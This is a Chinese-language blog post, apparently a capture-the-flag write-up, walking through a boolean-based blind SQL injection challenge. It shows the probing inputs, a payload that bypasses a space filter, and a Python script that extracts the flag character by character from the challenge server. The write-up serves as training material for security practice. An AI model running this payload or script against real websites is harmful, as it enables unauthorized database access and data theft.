




原创

rewaf  于 2020-12-03 19:31:19 发布  496  收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_45864041/article/details/110561482

版权

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

题目告诉我们表名为flag，列名为flag

所以值查询为select flag from flag

按照提示传入id=0

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

Error Occured When Fetch Result.

https://blog.csdn.net/weixin_45864041

传入id=1

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

Hello, glzjin wants a girlfriend.

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

bool(false)

https://blog.csdn.net/weixin_45864041

什么都不传

现在看来应该是布尔型盲注，而且过滤了一些东西

尝试传入1^1

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

Error Occured When Fetch Result.

https://blog.csdn.net/weixin_45864041

传入1^0

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

Hello, glzjin wants a girlfriend.

直接构造payload

```
1^(ascii(substr((select flag from flag),0,1))=102)
```

传入后可以发现，空格被过滤了

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

SQL Injection Checked.

https://blog.csdn.net/weixin_45864041

所以换一下

```
1^(ascii(substr((select(flag)from(flag)),0,1))=102)
```

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

Hello, glzjin wants a girlfriend.

https://blog.csdn.net/weixin_45864041

可以看到这是payload构造成功
所以我们可以开始写脚本了

```
import requests

url = "http://e915fbd5-665f-4f9d-a5f1-3e7007e58999.node3.buuoj.cn/index.php"
temp = {"id": "0"}
re1 = len(requests.post(url, data=temp).text)
print(re1)
flag = ''

for i in range(1,100):
    for j in range(45,126):
        temp["id"] = "1^(ascii(substr((select(flag)from(flag)), " + str(i) + ",1))=" + str(j) + ")"
        re = len(requests.post(url, data=temp).text)
        if re == re1:
            flag = flag + chr(j)
            print(flag)
            break
```

这是临时写的脚本，没进行过优化，随便看看吧